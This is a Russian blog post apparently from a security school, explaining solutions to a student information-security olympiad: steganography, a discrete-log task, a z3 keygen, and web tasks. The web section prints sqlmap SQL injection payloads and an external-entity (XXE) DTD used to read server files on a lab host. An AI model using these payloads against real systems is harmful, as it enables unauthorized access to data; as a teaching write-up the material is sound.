CTF от Минобрнауки: разбор задач олимпиады по ИБ

    Каждый год МИФИ проводит студенческую олимпиаду по ИБ. Это очень необычное мероприятие, сильно отличающееся от привычных task-based CTF. Забавно, что олимпиада носит официальный статус и даже признана Минобром, но о ней мало кто знает. При этом ее победители и призеры имеют возможность поступить в МИФИ без экзаменов.

    Если вы горите желанием размять мозги и протестить ваши знания в области инфобеза, читайте наш разбор пяти более интересных задач практического тура олимпиады.

    Олимпиада разделена на два тура: теоретический и практический. Они длятся по 3 часа в один день с небольшим перерывом. Теоретический тур похож на экзамен: первое задание состоит из 5 вопросов на криптографию и криптоанализ, где требуется дать развернутый ответ. Второе задание — большой тест по безопасности информационных технологий. Пробный вариант теоретического тура представлен по ссылке.

    Практический тур заключается в решении 10 относительно несложных задач, связанных с программированием, обратной разработкой ПО, эксплуатацией веб-уязвимостей, криптографией и стеганографией. При выполнении этих задач можно пользоваться собственным компьютером, но без доступа к интернету и внешним носителям информации.

    Участие в этой олимпиаде — интересный опыт для любого студента-безопасника, позволяющий проверить как теоретические, так и практические знания.

    Задача H, 2018 год


    Условие: Придя на место встречи в парк, вы никого не увидели, однако гуляя по одной из аллей, вы нашли заблокированный телефон со странной заставкой. Найдите пароль, зашифрованный в картинке-заставке и отправьте его на проверку через форму ниже.

    Картинка
    image

    Задачи на поиск стегоконтейнеров в изображениях обычно решаются в три этапа, от простого к сложному:

    1. Проверка метаинформации: EXIF для jpeg, IDF для png
    2. Проверка структуры: поиск ascii-строк,  поиск добавленных в конец изображения других файлов
    3. Анализ самого изображения: проверка соответствия заголовка данным, изменение color map, перебор LSB\MSB

    Для начала проверим тип файла:

    $ file H.jpg
    H.jpg: JPEG image data, JFIF standard 1.02, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, datetime=2009:03:12 13:48:39], baseline, precision 8, 1024x768, frames 3 

    Получаем метаинформацию из EXIF с помощью утилиты exiftool и находим первую часть флага в поле Creator:

    $ exiftool H.jpg | grep Creator
    Creator                         : part1 - 2b33f7c863ef8b

    Продолжаем анализировать файл с помощью утилиты binwalk:

    $ binwalk H.jpg | grep -v 'Unix path'
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    0             0x0             JPEG image data, JFIF standard 1.02
    46            0x2E            TIFF image data, big-endian, offset of first image directory: 8
    628320        0x99660         Zip archive data, at least v2.0 to extract, compressed size: 21, uncompressed size: 19, name: part2.txt
    628471        0x996F7         End of Zip archive
    628493        0x9970D         PNG image, 385 x 338, 8-bit/color RGBA, non-interlaced
    628584        0x99768         Zlib compressed data, compressed
    

    Видим, что по смещению 0x99660 лежит Zip-архив с файлом part2.txt, а по смещению 0x9970D — png-изображение.

    С помощью binwalk мы можем получить эти файлы и даже автоматически распаковать zip-архив.

    $ binwalk -D 'zip archive:zip:unzip %e' -D 'png image:png' H.jpg
    $ cd _H.jpg.extracted
    $ ls
    99660.zip  996F7.zip  9970D.png  99768  99768.zlib  part2.txt
    $ cat part2.txt 
    part 2 - 6b9efd1b89
    

    9970D.png:

    image

    Собираем все части флага вместе — задание решено.

    Задача A, 2016 год


    Условие: Найдите значение переменной $flag (32 символа хекса) в следующем php-скрипте, если известно, что результат работы скрипта равен 10899914993644372325321260353822561193.

    <?php 
      $n = "35948145881546650497425055363061529726";
      $flag = "... 32 hex chars ..."; // find the flag
      $x = bchexdec($flag);
      echo bcpowmod(1511, $x, $n);
    
      function bchexdec($dec) {
        $res = 0;
        $mn = 1;
        $l = strlen($dec);
        for($i=0;$i<$l;$i++)
        {
          $res = bcadd($res, bcmul($mn, hexdec($dec[$l-$i-1])));
          $mn = bcmul($mn, 16);
        }
        return $res;
      }
    ?>
    

    Так как функция bcpowmod производит возведение числа 1511 в неизвестную степень в кольце вычетов 35948145881546650497425055363061529726, флагом является дискретный логарифм 10899914993644372325321260353822561193 по основанию 1511.

    Писать скрипт для решения такой задачи с нуля долго, простой перебор тоже не поможет, поэтому лучше всего использовать свободную систему компьютерной алгебры Sage.

    #!/usr/bin/sage
    from sage.all import *
    
    R = IntegerModRing(35948145881546650497425055363061529726)
    y = 10899914993644372325321260353822561193
    g = 1511
    x = discrete_log(R(y), R(g))
    print("Flag is: " + hex(x))
    

    Запускаем Sage:

    $ sage solve.py
    Flag is: 1203ca52964b15cd12887d920d229

    Подставляем флаг в скрипт и убеждаемся в правильности ответа:

    % php A.php
    10899914993644372325321260353822561193

    Задача C, 2016 год


    Условие: Сгенерируйте серийный номер для своего логина и отправьте ответ на проверку в формате логин: серийный номер без пробелов.

    Получаем информацию о бинарнике с помощью ExeinfoPe:

    image

    Следуем совету и распаковываем файл:

    $ upx -d auth_x32.exe 
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2013
    UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
       1427267 <-    807235   56.56%    win32/pe     auth_x32.exe
    
    Unpacked 1 file.

    Определим использованный компилятор:

    image

    Декомпилируем функцию main и немного дорабатываем вывод напильником:

    image

    Алгоритм работы программы таков:

    1. Через аргументы командной строки на вход подаётся логин пользователя и 32-символьный ключ в hex-формате.
    2. Ключ из hex преобразуется в бинарный вид и побайтово ксорится с логином.
    3. Затем каждый из элементов получившейся последовательности преобразуется по формуле:

      key[k] = 2 * key[(k + 1) & 0xF] | (key[k] >> 7) ^ key[k]
    4. Результат преобразования с помощью функции memcmp сравнивается с байтовой строкой correct_key. Её полное значение — 1136CB46FFF370685D41C348CCAD6EC7

    Составим систему из 16 уравнений и решим её с помощью SMT-решателя z3:

    #!/usr/bin/env python
    from z3 import *
    import binascii
    
    # Вводим константы
    hardcode = [0x11, 0x36, 0xCB, 0x46, 0xFF, 0xF3, 0x70, 0x68, 0x5D, 0x41, 0xC3, 0x48, 0xCC, 0xAD, 0x6E, 0xC7]
    
    username = "hummelchen"
    ulen = len(username)
    
    # Вводим неизвестные
    key = [BitVec('k[{}]'.format(x), 8) for x in range(0,16)]
    
    s = Solver()
    
    # Задаем систему уравнений
    for k in range(0, 16):
        s.add(hardcode[k] == (2 * key[(k + 1) & 0xF] | LShR(key[k], 7)) ^ key[k])
    
    # Проверяем, есть ли решение
    if s.check() != 'sat':
        print('Cannot solve this system')
        return
    
    model = s.model()
    serial = ""
    
    # Выводим серийный номер для указанного логина 
    for i in range(0, 16):
        h = model.evaluate(key[i]).as_long()
            serial += chr(h ^ ord(username[i % ulen]))
    
    print(binascii.hexlify(serial))

    Проверяем решение:

    $ auth_x32.exe hummelchen 094d6a0bf55b01e195b823316b080169
    Correct

    Задачи D и E, 2016 год


    Условия:
    D: Ответ на задачу хранится в одной из баз данных забытого сервера. Найдите уязвимость на сайте и прочитайте с ее помощью ответ.
    E: Ответ на задачу хранится в одном из файлов на сервере. Найдите уязвимость на сайте и прочитайте с ее помощью файл.


    Веб-интерфейс забытого сервера выглядит довольно аскетично: просто текстовая форма авторизации и заголовок «Online bank system».

    image

    Брутфорсом файлов и директорий на сервере находим защищенный паролем phpmyadmin и robots.txt с подсказкой:

    $ python3 ./dirsearch.py -u http://192.168.56.11/  --exclude-status=403 -e txt
    Target: http://192.168.56.11/
    
    [19:52:31] Starting: 
    [19:52:37] 200 -  453B  - /index.php                                                                             
    [19:52:37] 200 -  453B  - /index.php/login/
    [19:52:37] 301 -  318B  - /javascript  ->  http://192.168.56.11/javascript/
    [19:52:38] 301 -  318B  - /phpmyadmin  ->  http://192.168.56.11/phpmyadmin/                            
    [19:52:39] 200 -    8KB - /phpmyadmin/                                 
    [19:52:39] 200 -   55B  - /robots.txt                                                         
                                                                                                                     
    Task Completed
    $ curl http://192.168.56.11/robots.txt 
    I think js filter is 100% safe for checking user data

    Изучаем исходный код страницы авторизации и видим подозрительный скрипт jquery.js

    function login()
    {
      var user = $("#user").val();
      var pass = $("#pass").val();
      for(i=0;i<user.length;i++)
        if (user.charCodeAt(i) < 0x61 || user.charCodeAt(i) > 0x7a)
        {
          resp("Invalid user format");
          return false;
        }
      for(i=0;i<pass.length;i++)
        if (pass.charCodeAt(i) < 0x61 || pass.charCodeAt(i) > 0x7a)
        {
          resp("Invalid pass format");
          return false;
        }
    
      var auth = "<auth><user>"+user+"</user><pass>"+pass+"</pass></auth>";
      $.post("/ajax.php", {"auth": auth}, resp);
    }
    
    function resp(data)
    {
      $("#info").html('<font color="red">'+data+'</font>');
    }

    Перехватываем POST-запрос на авторизацию с помощью Burp Suite и сразу же проверяем возможность SQL-инъекции:

    image

    Чтобы автоматизировать процесс эксплуатации уязвимости сохраняем текст запроса в файл, помечаем место инъекции звездочкой и загружаем результат в sqlmap с помощью опции -r имя_файла:

    auth=<auth><user>admin</user><pass>*</pass></auth>

    Найденные уязвимости
    Parameter: #1* ((custom) POST)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
        Payload: auth=<auth><user>admin</user><pass>' OR NOT 9081=9081#</pass></auth>
    
        Type: error-based
        Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
        Payload: auth=<auth><user>admin</user><pass>' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170787871,(SELECT (ELT(7559=7559,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- cPnm</pass></auth>
    
        Type: AND/OR time-based blind
        Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
        Payload: auth=<auth><user>admin</user><pass>' AND 7893=BENCHMARK(5000000,MD5(0x585a6178))-- sWuO</pass></auth>
    
        Type: UNION query
        Title: MySQL UNION query (NULL) - 1 column
        Payload: auth=<auth><user>admin</user><pass>' UNION ALL SELECT CONCAT(0x7170787871,0x61495771514b7a677663454c464c79565447794c6f4362457375535161467872446e486e4f654b53,0x7170707a71)#</pass></auth>
    


    Определяем доступные нам базы данных:

    available databases [2]:
    [*] information_schema
    [*] site
    

    Получаем флаг для задачи D:

    image

    Так как текущий пользователь не является администратором БД, мы не можем читать файлы на хосте и поэтому придётся использовать другой вектор атаки. Попробуем применить атаку XML eXternal Entity.

    Мы можем заставить парсер XML прочесть интересующий нас файл и использовать содержимое этого файла как URI, чтобы оно вывелось в сообщении об ошибке.

    Для этого нужно создать специальный DTD-файл (Data Type Definition; определение типа данных). XML-парсер на сервере загрузит его содержимое перед обработкой основной полезной нагрузки, что и позволит использовать значение %payload как URI.
    xxe.dtd:

    <!ENTITY % err "<!ENTITY % trick SYSTEM '%payload;'>">
    %err;

    Теперь поднимем веб-сервер с помощью python, файл  xxe.dtd должен находиться в его корневой директории.

    $ python -m SimpleHTTPServer 1234

    Отправим серверу запрос такого вида:

    image

    Получаем флаг для задачи E в строке с пользователем list.

    P.S. Все задания практического тура олимпиады за этот и прошлые годы доступны по ссылкам:
    Практический тур ВСО по ИБ 2016
    Практический тур ВСО по ИБ 2017
    Практический тур ВСО по ИБ 2018

    Автор: Ярослав Шмелев, преподаватель курса HackerU "Специалист по информационной безопасности".



    Большинство преподавателей израильской высшей школы IT и безопасности HackerU участвуют и занимают призовые места в соревнованиях и конкурсах по пентесту, веб-разработке, блокчейну.  Чтобы стать победителем, недостаточно иметь только высокую мотивацию. Нужны реально полезные знания и навыки, а их получают только у лучших практиков. Если сомневаешься в будущем, хочешь научиться востребованной профессии, спроси нас. Обещаем избавить от всего лишнего и помочь тебе найти себя в мире IT.
    • +15
    • 6,8k
    • 8

    ВышТех

    35,73

    Компания

    Поделиться публикацией
    Комментарии 8
      0
      --Проверка метаинформации: EXIF для jpeg

      EXIF, IPTC, XMP
        0
        Большинство преподавателей израильской высшей школы IT и безопасности HackerU участвуют и занимают призовые места в соревнованиях и конкурсах по пентесту
        Прикольно! Покажите профиль на ctftime.org?
          0
          Далеко не все соревнования учитываются на ctftime.org. К тому же там есть профили не только отдельных людей, но и команд. Наши преподаватели еще участвуют на PHDays и ZeroNights, например.
          Преподаватели не очень любят хвастать своими победами :)
            0
            ‾\_(ツ)_/‾
          0

          У меня один вопрос — в какой школе все это изучают, чтобы победить и попасть в МИФИ?

            0
            В олимпиаде участвуют магистры и бакалавры, а льготы при поступлении получают те, кто хочет в магистратуру/аспирантуру.
            Вопрос про школу не совсем понятен. Вы имеете в виду образование до вуза?) Тут уж выбирает каждый сам. Если вы хотите дополнительных знаний — приходите к нам) Вся информация о курсах есть на нашем сайте, проконсультируем.
            +3
            нашли заблокированный телефон со странной заставкой

            Если телефон заблокирован, то каким образом я смогу получить доступ к картинке как к файлу? А если я могу получить доступ (читай, доступ к файловой системе) какими-то обходными путями, то зачем мне узнавать пароль с картинки?
            Условие задачи какое-то странное.
              0
              Сюжет для заданий — условность, с ним редко заморачиваются.
              Если телефон заблокирован, то каким образом я смогу получить доступ к картинке как к файлу?
              Почему бы картинке не оказаться на microSD (если не IPhone)? :)
              А если я могу получить доступ (читай, доступ к файловой системе) какими-то обходными путями, то зачем мне узнавать пароль с картинки?
              Может быть, таким образом был спрятан пароль от аккаунта или криптоконтейнера, не связанного с телефоном.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое